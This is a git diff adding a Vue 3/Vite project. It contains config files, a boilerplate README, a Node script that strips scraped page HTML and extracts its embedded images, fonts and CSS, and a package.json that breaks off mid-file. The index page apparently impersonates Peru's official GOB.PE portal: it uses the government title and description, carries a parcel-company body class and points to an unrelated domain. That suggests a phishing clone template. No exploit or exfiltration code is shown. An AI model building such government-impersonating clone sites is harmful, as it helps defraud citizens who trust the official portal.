update
5
t_global_post_temp2/.env
Normal file
@@ -0,0 +1,5 @@
|
||||
# 平台本地运行端口号
|
||||
VITE_PORT = 8848
|
||||
|
||||
# 是否隐藏首页 隐藏 true 不隐藏 false (勿删除,VITE_HIDE_HOME只需在.env文件配置)
|
||||
VITE_HIDE_HOME = false
|
||||
11
t_global_post_temp2/.env.development
Normal file
@@ -0,0 +1,11 @@
|
||||
# 平台本地运行端口号
|
||||
VITE_PORT = 8848
|
||||
|
||||
# 开发环境读取配置文件路径
|
||||
VITE_PUBLIC_PATH = ./
|
||||
|
||||
# 网站前缀
|
||||
VITE_BASE_URL = "up.xx.sczqb6.top"
|
||||
|
||||
# 开发环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数")
|
||||
VITE_ROUTER_HISTORY = "hash"
|
||||
16
t_global_post_temp2/.env.production
Normal file
@@ -0,0 +1,16 @@
|
||||
# 网站前缀
|
||||
VITE_BASE_URL=/
|
||||
|
||||
# 线上环境平台打包路径
|
||||
VITE_PUBLIC_PATH = ./
|
||||
|
||||
# 线上环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数")
|
||||
VITE_ROUTER_HISTORY = "hash"
|
||||
|
||||
# 是否在打包时使用cdn替换本地库 替换 true 不替换 false
|
||||
VITE_CDN = false
|
||||
|
||||
# 是否启用gzip压缩或brotli压缩(分两种情况,删除原始文件和不删除原始文件)
|
||||
# 压缩时不删除原始文件的配置:gzip、brotli、both(同时开启 gzip 与 brotli 压缩)、none(不开启压缩,默认)
|
||||
# 压缩时删除原始文件的配置:gzip-clear、brotli-clear、both-clear(同时开启 gzip 与 brotli 压缩)、none(不开启压缩,默认)
|
||||
VITE_COMPRESSION = "none"
|
||||
25
t_global_post_temp2/.eslintrc.cjs
Normal file
@@ -0,0 +1,25 @@
|
||||
/* eslint-env node */
|
||||
require('@rushstack/eslint-patch/modern-module-resolution')
|
||||
|
||||
module.exports = {
|
||||
root: true,
|
||||
'extends': [
|
||||
'plugin:vue/vue3-essential',
|
||||
'eslint:recommended',
|
||||
'@vue/eslint-config-typescript',
|
||||
'@vue/eslint-config-prettier'
|
||||
],
|
||||
overrides: [
|
||||
{
|
||||
files: [
|
||||
'cypress/e2e/**/*.{cy,spec}.{js,ts,jsx,tsx}'
|
||||
],
|
||||
'extends': [
|
||||
'plugin:cypress/recommended'
|
||||
]
|
||||
}
|
||||
],
|
||||
parserOptions: {
|
||||
ecmaVersion: 'latest'
|
||||
}
|
||||
}
|
||||
28
t_global_post_temp2/.gitignore
vendored
Normal file
@@ -0,0 +1,28 @@
|
||||
# Logs
|
||||
logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
pnpm-debug.log*
|
||||
lerna-debug.log*
|
||||
|
||||
node_modules
|
||||
.DS_Store
|
||||
dist
|
||||
dist-ssr
|
||||
coverage
|
||||
*.local
|
||||
|
||||
/cypress/videos/
|
||||
/cypress/screenshots/
|
||||
|
||||
# Editor directories and files
|
||||
.vscode/*
|
||||
!.vscode/extensions.json
|
||||
.idea
|
||||
*.suo
|
||||
*.ntvs*
|
||||
*.njsproj
|
||||
*.sln
|
||||
*.sw?
|
||||
1
t_global_post_temp2/.prettierrc.json
Normal file
@@ -0,0 +1 @@
|
||||
{}
|
||||
3
t_global_post_temp2/.vscode/extensions.json
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"recommendations": ["Vue.volar", "Vue.vscode-typescript-vue-plugin"]
|
||||
}
|
||||
68
t_global_post_temp2/README.md
Normal file
@@ -0,0 +1,68 @@
|
||||
# vue3-clean-architecture
|
||||
|
||||
This template should help get you started developing with Vue 3 in Vite.
|
||||
|
||||
## Recommended IDE Setup
|
||||
|
||||
[VSCode](https://code.visualstudio.com/) + [Volar](https://marketplace.visualstudio.com/items?itemName=Vue.volar) (and disable Vetur) + [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin).
|
||||
|
||||
## Type Support for `.vue` Imports in TS
|
||||
|
||||
TypeScript cannot handle type information for `.vue` imports by default, so we replace the `tsc` CLI with `vue-tsc` for type checking. In editors, we need [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin) to make the TypeScript language service aware of `.vue` types.
|
||||
|
||||
If the standalone TypeScript plugin doesn't feel fast enough to you, Volar has also implemented a [Take Over Mode](https://github.com/johnsoncodehk/volar/discussions/471#discussioncomment-1361669) that is more performant. You can enable it by the following steps:
|
||||
|
||||
1. Disable the built-in TypeScript Extension
|
||||
1) Run `Extensions: Show Built-in Extensions` from VSCode's command palette
|
||||
2) Find `TypeScript and JavaScript Language Features`, right click and select `Disable (Workspace)`
|
||||
2. Reload the VSCode window by running `Developer: Reload Window` from the command palette.
|
||||
|
||||
## Customize configuration
|
||||
|
||||
See [Vite Configuration Reference](https://vitejs.dev/config/).
|
||||
|
||||
## Project Setup
|
||||
|
||||
```sh
|
||||
npm install
|
||||
```
|
||||
|
||||
### Compile and Hot-Reload for Development
|
||||
|
||||
```sh
|
||||
npm run dev
|
||||
```
|
||||
|
||||
### Type-Check, Compile and Minify for Production
|
||||
|
||||
```sh
|
||||
npm run build
|
||||
```
|
||||
|
||||
### Run Unit Tests with [Vitest](https://vitest.dev/)
|
||||
|
||||
```sh
|
||||
npm run test:unit
|
||||
```
|
||||
|
||||
### Run End-to-End Tests with [Cypress](https://www.cypress.io/)
|
||||
|
||||
```sh
|
||||
npm run test:e2e:dev
|
||||
```
|
||||
|
||||
This runs the end-to-end tests against the Vite development server.
|
||||
It is much faster than the production build.
|
||||
|
||||
But it's still recommended to test the production build with `test:e2e` before deploying (e.g. in CI environments):
|
||||
|
||||
```sh
|
||||
npm run build
|
||||
npm run test:e2e
|
||||
```
|
||||
|
||||
### Lint with [ESLint](https://eslint.org/)
|
||||
|
||||
```sh
|
||||
npm run lint
|
||||
```
|
||||
8
t_global_post_temp2/cypress.config.ts
Normal file
@@ -0,0 +1,8 @@
|
||||
import { defineConfig } from 'cypress'
|
||||
|
||||
export default defineConfig({
|
||||
e2e: {
|
||||
specPattern: 'cypress/e2e/**/*.{cy,spec}.{js,jsx,ts,tsx}',
|
||||
baseUrl: 'http://localhost:4173'
|
||||
}
|
||||
})
|
||||
8
t_global_post_temp2/cypress/e2e/example.cy.ts
Normal file
@@ -0,0 +1,8 @@
|
||||
// https://docs.cypress.io/api/introduction/api.html
|
||||
|
||||
describe('My First Test', () => {
|
||||
it('visits the app root url', () => {
|
||||
cy.visit('/')
|
||||
cy.contains('h1', 'You did it!')
|
||||
})
|
||||
})
|
||||
10
t_global_post_temp2/cypress/e2e/tsconfig.json
Normal file
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"extends": "@vue/tsconfig/tsconfig.web.json",
|
||||
"include": ["./**/*", "../support/**/*"],
|
||||
"compilerOptions": {
|
||||
"isolatedModules": false,
|
||||
"target": "es5",
|
||||
"lib": ["es5", "dom"],
|
||||
"types": ["cypress"]
|
||||
}
|
||||
}
|
||||
5
t_global_post_temp2/cypress/fixtures/example.json
Normal file
@@ -0,0 +1,5 @@
|
||||
{
|
||||
"name": "Using fixtures to represent data",
|
||||
"email": "hello@cypress.io",
|
||||
"body": "Fixtures are a great way to mock data for responses to routes"
|
||||
}
|
||||
39
t_global_post_temp2/cypress/support/commands.ts
Normal file
@@ -0,0 +1,39 @@
|
||||
/// <reference types="cypress" />
|
||||
// ***********************************************
|
||||
// This example commands.ts shows you how to
|
||||
// create various custom commands and overwrite
|
||||
// existing commands.
|
||||
//
|
||||
// For more comprehensive examples of custom
|
||||
// commands please read more here:
|
||||
// https://on.cypress.io/custom-commands
|
||||
// ***********************************************
|
||||
//
|
||||
//
|
||||
// -- This is a parent command --
|
||||
// Cypress.Commands.add('login', (email, password) => { ... })
|
||||
//
|
||||
//
|
||||
// -- This is a child command --
|
||||
// Cypress.Commands.add('drag', { prevSubject: 'element'}, (subject, options) => { ... })
|
||||
//
|
||||
//
|
||||
// -- This is a dual command --
|
||||
// Cypress.Commands.add('dismiss', { prevSubject: 'optional'}, (subject, options) => { ... })
|
||||
//
|
||||
//
|
||||
// -- This will overwrite an existing command --
|
||||
// Cypress.Commands.overwrite('visit', (originalFn, url, options) => { ... })
|
||||
//
|
||||
// declare global {
|
||||
// namespace Cypress {
|
||||
// interface Chainable {
|
||||
// login(email: string, password: string): Chainable<void>
|
||||
// drag(subject: string, options?: Partial<TypeOptions>): Chainable<Element>
|
||||
// dismiss(subject: string, options?: Partial<TypeOptions>): Chainable<Element>
|
||||
// visit(originalFn: CommandOriginalFn, url: string, options: Partial<VisitOptions>): Chainable<Element>
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
|
||||
export {}
|
||||
20
t_global_post_temp2/cypress/support/e2e.ts
Normal file
@@ -0,0 +1,20 @@
|
||||
// ***********************************************************
|
||||
// This example support/index.js is processed and
|
||||
// loaded automatically before your test files.
|
||||
//
|
||||
// This is a great place to put global configuration and
|
||||
// behavior that modifies Cypress.
|
||||
//
|
||||
// You can change the location of this file or turn off
|
||||
// automatically serving support files with the
|
||||
// 'supportFile' configuration option.
|
||||
//
|
||||
// You can read more here:
|
||||
// https://on.cypress.io/configuration
|
||||
// ***********************************************************
|
||||
|
||||
// Import commands.js using ES2015 syntax:
|
||||
import './commands'
|
||||
|
||||
// Alternatively you can use CommonJS syntax:
|
||||
// require('./commands')
|
||||
4
t_global_post_temp2/env.d.ts
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
/// <reference types="vite/client" />
|
||||
interface ImportMetaEnv {
|
||||
VITE_BASE_URL: string;
|
||||
}
|
||||
26
t_global_post_temp2/index.html
Normal file
@@ -0,0 +1,26 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
|
||||
<!-- <link href="/Static_zy/static/css/byjhmwfs6852.css" rel="stylesheet"> -->
|
||||
<meta charset="utf-8">
|
||||
<meta
|
||||
content="GOB.PE: único punto de contacto digital del Estado Peruano con la ciudadanía, basado en una experiencia sencilla, consistente e intuitiva de acceso a información institucional, trámites y servicios públicos digitales."
|
||||
name="description">
|
||||
<title> Plataforma del Estado Peruano </title>
|
||||
|
||||
|
||||
<link href="/Static_zy/static/img/img_b3c3d482dfc8_io71ux.png" rel="icon" sizes="192x192" type="image/png">
|
||||
|
||||
|
||||
|
||||
</head>
|
||||
|
||||
|
||||
<body class="dpdgroup_site">
|
||||
<div id="app"></div>
|
||||
<script type="module" src="/src/main.ts"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
396
t_global_post_temp2/new_extract-resources.js
Normal file
@@ -0,0 +1,396 @@
|
||||
/**
|
||||
* 静态资源提取脚本
|
||||
* 从 header.html 和 footer.html 中提取 base64 图片、内联 CSS 和字体
|
||||
*
|
||||
* 功能:
|
||||
* 1. 提取 base64 图片到 assets/images/
|
||||
* 2. 提取所有内联 CSS 到 assets/css/
|
||||
* 3. 提取字体文件到 assets/fonts/
|
||||
* 4. 去除所有 meta 标签
|
||||
* 5. 去除所有 script 标签
|
||||
* 6. 只保留 body 内的内容
|
||||
* 7. 把引入的 style 放到顶部
|
||||
* 8. 给所有 HTML 属性值自动加上双引号
|
||||
*
|
||||
* 使用方法:
|
||||
* - node extract-resources.js # 正常运行,从备份恢复
|
||||
* - node extract-resources.js --keep # 保持当前文件,不从备份恢复
|
||||
*/
|
||||
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
// 检查命令行参数
|
||||
const KEEP_CURRENT = process.argv.includes('--keep');
|
||||
|
||||
const PUBLIC_DIR = path.join(__dirname, 'public/Static_zy');
|
||||
const STATIC_DIR = path.join(__dirname, 'public/Static_zy/st');
|
||||
|
||||
const FILES_TO_PROCESS = ['footer.html'];
|
||||
// const FILES_TO_PROCESS = ['home.html', 'page2.html', 'page3.html', 'page4.html', 'page5.html'];
|
||||
|
||||
// 创建资源目录 (public)
|
||||
const ASSETS_DIR = path.join(STATIC_DIR, 'assets');
|
||||
const IMG_DIR = path.join(ASSETS_DIR, 'images');
|
||||
const CSS_DIR = path.join(ASSETS_DIR, 'css');
|
||||
const FONTS_DIR = path.join(ASSETS_DIR, 'fonts');
|
||||
|
||||
// 清理旧资源文件的函数
|
||||
function cleanDirectory(dir) {
|
||||
if (fs.existsSync(dir)) {
|
||||
const files = fs.readdirSync(dir);
|
||||
files.forEach(file => {
|
||||
const filePath = path.join(dir, file);
|
||||
if (fs.statSync(filePath).isFile()) {
|
||||
fs.unlinkSync(filePath);
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
[ASSETS_DIR, IMG_DIR, CSS_DIR, FONTS_DIR].forEach(dir => {
|
||||
if (!fs.existsSync(dir)) {
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
}
|
||||
});
|
||||
|
||||
// 清理旧资源文件
|
||||
console.log('🧹 清理旧资源文件...');
|
||||
cleanDirectory(IMG_DIR);
|
||||
cleanDirectory(CSS_DIR);
|
||||
cleanDirectory(FONTS_DIR);
|
||||
|
||||
console.log('🚀 开始提取静态资源...\n');
|
||||
console.log(`📂 工作目录: ${PUBLIC_DIR}\n`);
|
||||
|
||||
FILES_TO_PROCESS.forEach(filename => {
|
||||
const filePath = path.join(PUBLIC_DIR, filename);
|
||||
const backupPath = filePath + '.backup';
|
||||
|
||||
if (!fs.existsSync(filePath)) {
|
||||
console.log(`⚠️ 文件不存在: ${filename}`);
|
||||
return;
|
||||
}
|
||||
|
||||
// 创建备份
|
||||
if (!fs.existsSync(backupPath)) {
|
||||
fs.copyFileSync(filePath, backupPath);
|
||||
console.log(`📄 处理文件: ${filename} (已创建备份)`);
|
||||
} else if (!KEEP_CURRENT) {
|
||||
// 如果备份存在且未指定 --keep,从备份恢复
|
||||
fs.copyFileSync(backupPath, filePath);
|
||||
console.log(`📄 处理文件: ${filename} (从备份恢复)`);
|
||||
} else {
|
||||
console.log(`📄 处理文件: ${filename} (保持当前版本)`);
|
||||
}
|
||||
|
||||
let content = fs.readFileSync(filePath, 'utf8');
|
||||
const originalSize = content.length;
|
||||
|
||||
let imageCount = 0;
|
||||
let cssCount = 0;
|
||||
let fontCount = 0;
|
||||
|
||||
// 1. 提取 base64 图片
|
||||
console.log(' 提取 base64 图片...');
|
||||
content = content.replace(/url\s*\(\s*["']?(data:image\/([^;]+);base64,([^"')]+))["']?\s*\)/gi,
|
||||
(match, dataUrl, imageType, base64Data) => {
|
||||
imageCount++;
|
||||
// 修复图片扩展名,处理 svg+xml 等情况
|
||||
let ext = imageType.split('/').pop();
|
||||
if (ext.includes('svg')) {
|
||||
ext = 'svg';
|
||||
} else if (ext.includes('+')) {
|
||||
ext = ext.split('+')[0];
|
||||
}
|
||||
const imageName = `${filename.replace('.html', '')}_img_${imageCount}.${ext}`;
|
||||
const imagePath = path.join(IMG_DIR, imageName);
|
||||
|
||||
try {
|
||||
const buffer = Buffer.from(base64Data, 'base64');
|
||||
fs.writeFileSync(imagePath, buffer);
|
||||
return `url("/Static_zy/st/assets/images/${imageName}")`;
|
||||
} catch (e) {
|
||||
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
|
||||
return match;
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
// 2. 提取 img src 中的 base64 (有引号的)
|
||||
content = content.replace(/<img([^>]*?)src\s*=\s*["'](data:image\/([^;]+);base64,([^"']+))["']([^>]*)>/gi,
|
||||
(match, beforeAttrs, dataUrl, imageType, base64Data, afterAttrs) => {
|
||||
imageCount++;
|
||||
// 修复图片扩展名
|
||||
let ext = imageType.split('/').pop();
|
||||
if (ext.includes('svg')) {
|
||||
ext = 'svg';
|
||||
} else if (ext.includes('+')) {
|
||||
ext = ext.split('+')[0];
|
||||
}
|
||||
const imageName = `${filename.replace('.html', '')}_inline_${imageCount}.${ext}`;
|
||||
const imagePath = path.join(IMG_DIR, imageName);
|
||||
|
||||
try {
|
||||
const buffer = Buffer.from(base64Data, 'base64');
|
||||
fs.writeFileSync(imagePath, buffer);
|
||||
// 确保属性间有正确的空格
|
||||
const before = beforeAttrs ? ' ' + beforeAttrs.trim() : '';
|
||||
const after = afterAttrs ? ' ' + afterAttrs.trim() : '';
|
||||
return `<img${before} src="/Static_zy/st/assets/images/${imageName}"${after}>`;
|
||||
} catch (e) {
|
||||
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
|
||||
return match;
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
// 3. 提取 img src 中的 base64 (没有引号的,直到遇到空白字符或>)
|
||||
content = content.replace(/<img([^>]*?)src\s*=\s*(data:image\/([^;\s>]+);base64,([^\s>]+))([^>]*)>/gi,
|
||||
(match, beforeAttrs, dataUrl, imageType, base64Data, afterAttrs) => {
|
||||
imageCount++;
|
||||
// 修复图片扩展名
|
||||
let ext = imageType.split('/').pop();
|
||||
if (ext.includes('svg')) {
|
||||
ext = 'svg';
|
||||
} else if (ext.includes('+')) {
|
||||
ext = ext.split('+')[0];
|
||||
}
|
||||
const imageName = `${filename.replace('.html', '')}_inline_${imageCount}.${ext}`;
|
||||
const imagePath = path.join(IMG_DIR, imageName);
|
||||
|
||||
try {
|
||||
const buffer = Buffer.from(base64Data, 'base64');
|
||||
fs.writeFileSync(imagePath, buffer);
|
||||
// 确保属性间有正确的空格
|
||||
const before = beforeAttrs ? ' ' + beforeAttrs.trim() : '';
|
||||
const after = afterAttrs ? ' ' + afterAttrs.trim() : '';
|
||||
return `<img${before} src="/Static_zy/st/assets/images/${imageName}"${after}>`;
|
||||
} catch (e) {
|
||||
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
|
||||
return match;
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
// 4. 提取 CSS 变量中的 base64
|
||||
content = content.replace(/--[^:]+:\s*url\s*\(\s*["']?(data:image\/([^;]+);base64,([^"')]+))["']?\s*\)/gi,
|
||||
(match, dataUrl, imageType, base64Data) => {
|
||||
imageCount++;
|
||||
// 修复图片扩展名
|
||||
let ext = imageType.split('/').pop();
|
||||
if (ext.includes('svg')) {
|
||||
ext = 'svg';
|
||||
} else if (ext.includes('+')) {
|
||||
ext = ext.split('+')[0];
|
||||
}
|
||||
const imageName = `${filename.replace('.html', '')}_var_${imageCount}.${ext}`;
|
||||
const imagePath = path.join(IMG_DIR, imageName);
|
||||
|
||||
try {
|
||||
const buffer = Buffer.from(base64Data, 'base64');
|
||||
fs.writeFileSync(imagePath, buffer);
|
||||
const varName = match.split(':')[0];
|
||||
return `${varName}: url("/Static_zy/st/assets/images/${imageName}")`;
|
||||
} catch (e) {
|
||||
console.log(` ⚠️ 无法保存图片 ${imageName}:`, e.message);
|
||||
return match;
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
// 5. 提取所有内联 CSS (style 标签)
|
||||
console.log(' 提取内联 CSS...');
|
||||
const cssLinks = []; // 用于收集所有 CSS 链接
|
||||
const styleMatches = content.match(/<style[^>]*>([\s\S]*?)<\/style>/gi);
|
||||
if (styleMatches && styleMatches.length > 0) {
|
||||
styleMatches.forEach((styleTag, index) => {
|
||||
const cssContent = styleTag.replace(/<\/?style[^>]*>/gi, '').trim();
|
||||
// 提取所有 CSS,不管大小
|
||||
if (cssContent.length > 0) {
|
||||
cssCount++;
|
||||
const cssName = `${filename.replace('.html', '')}_styles_${cssCount}.css`;
|
||||
const cssPath = path.join(CSS_DIR, cssName);
|
||||
fs.writeFileSync(cssPath, cssContent);
|
||||
|
||||
// 收集 CSS 链接,稍后会统一放到顶部
|
||||
cssLinks.push(`<link rel="stylesheet" href="/Static_zy/st/assets/css/${cssName}">`);
|
||||
|
||||
// 先删除原 style 标签
|
||||
content = content.replace(styleTag, '');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// 6. 提取字体 (data:font)
|
||||
console.log(' 提取字体文件...');
|
||||
content = content.replace(/url\s*\(\s*["']?(data:font\/([^;]+);base64,([^"')]+))["']?\s*\)/gi,
|
||||
(match, dataUrl, fontType, base64Data) => {
|
||||
fontCount++;
|
||||
const fontExt = fontType.includes('woff2') ? 'woff2' :
|
||||
fontType.includes('woff') ? 'woff' :
|
||||
fontType.includes('ttf') ? 'ttf' : 'font';
|
||||
const fontName = `${filename.replace('.html', '')}_font_${fontCount}.${fontExt}`;
|
||||
const fontPath = path.join(FONTS_DIR, fontName);
|
||||
|
||||
try {
|
||||
const buffer = Buffer.from(base64Data, 'base64');
|
||||
fs.writeFileSync(fontPath, buffer);
|
||||
return `url("/Static_zy/st/assets/fonts/${fontName}")`;
|
||||
} catch (e) {
|
||||
console.log(` ⚠️ 无法保存字体 ${fontName}:`, e.message);
|
||||
return match;
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
// 7. 提取 woff2 字体 (特殊处理)
|
||||
content = content.replace(/url\s*\(\s*data:application\/font-woff2;charset=utf-8;base64,([^)]+)\)/gi,
|
||||
(match, base64Data) => {
|
||||
fontCount++;
|
||||
const fontName = `${filename.replace('.html', '')}_font_${fontCount}.woff2`;
|
||||
const fontPath = path.join(FONTS_DIR, fontName);
|
||||
|
||||
try {
|
||||
const buffer = Buffer.from(base64Data, 'base64');
|
||||
fs.writeFileSync(fontPath, buffer);
|
||||
return `url("/Static_zy/st/assets/fonts/${fontName}")`;
|
||||
} catch (e) {
|
||||
console.log(` ⚠️ 无法保存字体 ${fontName}:`, e.message);
|
||||
return match;
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
// 8. 去除 DOCTYPE 声明
|
||||
console.log(' 去除 DOCTYPE 和 HTML 注释...');
|
||||
let removedCount = 0;
|
||||
if (content.match(/<!DOCTYPE[^>]*>/i)) {
|
||||
content = content.replace(/<!DOCTYPE[^>]*>/gi, '');
|
||||
removedCount++;
|
||||
}
|
||||
|
||||
// 去除所有 HTML 注释(包括多行注释)
|
||||
const commentCount = (content.match(/<!--[\s\S]*?-->/g) || []).length;
|
||||
content = content.replace(/<!--[\s\S]*?-->/g, '');
|
||||
removedCount += commentCount;
|
||||
|
||||
if (removedCount > 0) {
|
||||
console.log(` - 已删除 DOCTYPE 和 ${commentCount} 个 HTML 注释`);
|
||||
}
|
||||
|
||||
// 9. 去除所有 meta、title 和 link 标签
|
||||
console.log(' 去除 meta、title 和 link 标签...');
|
||||
const metaCount = (content.match(/<meta[^>]*>/gi) || []).length;
|
||||
content = content.replace(/<meta[^>]*>/gi, '');
|
||||
|
||||
const titleCount = (content.match(/<title[^>]*>[\s\S]*?<\/title>/gi) || []).length;
|
||||
content = content.replace(/<title[^>]*>[\s\S]*?<\/title>/gi, '');
|
||||
|
||||
// 去除 link 标签(canonical、icon、preload 等,但不包括我们生成的 stylesheet)
|
||||
const linkCount = (content.match(/<link(?![^>]*rel=["']stylesheet["'])[^>]*>/gi) || []).length;
|
||||
content = content.replace(/<link(?![^>]*rel=["']stylesheet["'])[^>]*>/gi, '');
|
||||
|
||||
if (metaCount > 0 || titleCount > 0 || linkCount > 0) {
|
||||
console.log(` - 已删除 ${metaCount} 个 meta、${titleCount} 个 title 和 ${linkCount} 个 link 标签`);
|
||||
}
|
||||
|
||||
// 10. 去除所有 script 标签(包括内联和外部脚本)
|
||||
console.log(' 去除 script 标签...');
|
||||
const scriptCount = (content.match(/<script[^>]*>[\s\S]*?<\/script>/gi) || []).length;
|
||||
content = content.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '');
|
||||
if (scriptCount > 0) {
|
||||
console.log(` - 已删除 ${scriptCount} 个 script 标签`);
|
||||
}
|
||||
|
||||
// 11. 提取 body 内容并重组 HTML
|
||||
console.log(' 重组 HTML 结构...');
|
||||
const bodyMatch = content.match(/<body[^>]*>([\s\S]*?)<\/body>/i);
|
||||
if (bodyMatch) {
|
||||
const bodyContent = bodyMatch[1];
|
||||
|
||||
// 重新构建 HTML:CSS 链接 + body 内容
|
||||
let newContent = '';
|
||||
|
||||
// 将所有 CSS 链接放到顶部
|
||||
if (cssLinks.length > 0) {
|
||||
newContent = cssLinks.join('\n') + '\n\n';
|
||||
}
|
||||
|
||||
// 添加 body 内容
|
||||
newContent += bodyContent;
|
||||
|
||||
content = newContent;
|
||||
console.log(` - 已提取 body 内容并移除其他标签`);
|
||||
} else {
|
||||
// 如果找不到 body 标签,尝试去除 html、head、body 等标签
|
||||
content = content.replace(/<\/?html[^>]*>/gi, '');
|
||||
content = content.replace(/<head[^>]*>[\s\S]*?<\/head>/gi, '');
|
||||
content = content.replace(/<\/?body[^>]*>/gi, '');
|
||||
|
||||
// 将 CSS 链接放到最前面
|
||||
if (cssLinks.length > 0) {
|
||||
content = cssLinks.join('\n') + '\n\n' + content;
|
||||
}
|
||||
console.log(` - 已去除 HTML 结构标签`);
|
||||
}
|
||||
|
||||
// 清理多余的空行
|
||||
content = content.replace(/\n\s*\n\s*\n/g, '\n\n');
|
||||
|
||||
// 12. 给所有HTML属性值加上引号
|
||||
console.log(' 给HTML属性加上引号...');
|
||||
// 匹配没有引号的属性值:属性名=值(值不以引号开头,且到空格或>结束)
|
||||
// 排除已经有引号的属性
|
||||
content = content.replace(/(\s+[\w\-:]+)=([^"'\s>][^\s>]*)/g, (match, attrName, attrValue) => {
|
||||
// 如果属性值为空或只是一个标志,保持原样
|
||||
if (!attrValue || attrValue === '') {
|
||||
return match;
|
||||
}
|
||||
// 给属性值加上双引号
|
||||
return `${attrName}="${attrValue}"`;
|
||||
});
|
||||
|
||||
// 保存修改后的文件
|
||||
const outputPath = path.join(PUBLIC_DIR, filename);
|
||||
fs.writeFileSync(outputPath, content);
|
||||
|
||||
const newSize = content.length;
|
||||
const reduction = ((originalSize - newSize) / originalSize * 100).toFixed(1);
|
||||
|
||||
console.log(` ✅ 完成:`);
|
||||
console.log(` - 提取图片: ${imageCount} 个`);
|
||||
console.log(` - 提取 CSS: ${cssCount} 个`);
|
||||
console.log(` - 提取字体: ${fontCount} 个`);
|
||||
console.log(` - 删除 meta: ${metaCount} 个`);
|
||||
console.log(` - 删除 title: ${titleCount} 个`);
|
||||
console.log(` - 删除 link: ${linkCount} 个`);
|
||||
console.log(` - 删除 script: ${scriptCount} 个`);
|
||||
console.log(` - 原始大小: ${(originalSize / 1024).toFixed(2)} KB`);
|
||||
console.log(` - 新大小: ${(newSize / 1024).toFixed(2)} KB`);
|
||||
console.log(` - 减少: ${reduction}%`);
|
||||
|
||||
// 验证生成的文件
|
||||
if (imageCount > 0 || cssCount > 0 || fontCount > 0) {
|
||||
console.log(` ℹ️ 提示: 请确保资源路径 /Static_zy/st/assets/ 在服务器上可访问\n`);
|
||||
} else {
|
||||
console.log(` ℹ️ 未找到可提取的资源\n`);
|
||||
}
|
||||
});
|
||||
|
||||
console.log('✅ 资源提取完成!');
|
||||
console.log('\n📁 资源文件位置:');
|
||||
console.log(` - 图片: ${IMG_DIR}`);
|
||||
console.log(` - CSS: ${CSS_DIR}`);
|
||||
console.log(` - 字体: ${FONTS_DIR}`);
|
||||
console.log('\n✨ 自动优化:');
|
||||
console.log(' ✅ DOCTYPE 和 HTML 注释已删除');
|
||||
console.log(' ✅ 所有 meta、title 和 link 标签已删除(保留生成的 stylesheet)');
|
||||
console.log(' ✅ 所有 script 标签已删除');
|
||||
console.log(' ✅ 所有 style 已提取到 CSS 文件');
|
||||
console.log(' ✅ 只保留 body 内的内容');
|
||||
console.log(' ✅ CSS 引用已放到顶部');
|
||||
console.log(' ✅ 图片扩展名已修复(svg+xml → svg)');
|
||||
console.log(' ✅ 使用绝对路径(/Static_zy/st/assets/)');
|
||||
console.log(' ✅ HTML 属性值已自动加上双引号');
|
||||
console.log('\n💡 提示: 刷新浏览器测试页面,所有资源应该正常加载');
|
||||
8849
t_global_post_temp2/package-lock.json
generated
Normal file
59
t_global_post_temp2/package.json
Normal file
@@ -0,0 +1,59 @@
|
||||
{
|
||||
"name": "vue3-clean-architecture",
|
||||
"version": "0.0.0",
|
||||
"private": true,
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
"build": "run-p type-check build-only",
|
||||
"preview": "vite preview",
|
||||
"test:unit": "vitest --environment jsdom --root src/",
|
||||
"test:e2e": "start-server-and-test preview :4173 'cypress run --e2e'",
|
||||
"test:e2e:dev": "start-server-and-test 'vite dev --port 4173' :4173 'cypress open --e2e'",
|
||||
"build-only": "vite build",
|
||||
"type-check": "vue-tsc --noEmit -p tsconfig.vitest.json --composite false",
|
||||
"lint": "eslint . --ext .vue,.js,.jsx,.cjs,.mjs,.ts,.tsx,.cts,.mts --fix --ignore-path .gitignore",
|
||||
"zip": "node zip.js",
|
||||
"prod": "pnpm run build && pnpm run zip"
|
||||
},
|
||||
"dependencies": {
|
||||
"@types/lodash": "^4.17.12",
|
||||
"axios": "^1.7.7",
|
||||
"bootstrap": "^5.3.3",
|
||||
"install": "^0.13.0",
|
||||
"lodash": "^4.17.21",
|
||||
"mitt": "^3.0.1",
|
||||
"moment": "^2.30.1",
|
||||
"pinia": "^2.2.2",
|
||||
"socket.io-client": "^4.8.1",
|
||||
"uuid": "^13.0.0",
|
||||
"vue": "^3.2.45",
|
||||
"vue-i18n": "^10.0.4",
|
||||
"vue-router": "^4.1.6",
|
||||
"vue-scrollto": "^2.20.0",
|
||||
"ws": "^8.18.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@rushstack/eslint-patch": "^1.1.4",
|
||||
"@types/jsdom": "^20.0.1",
|
||||
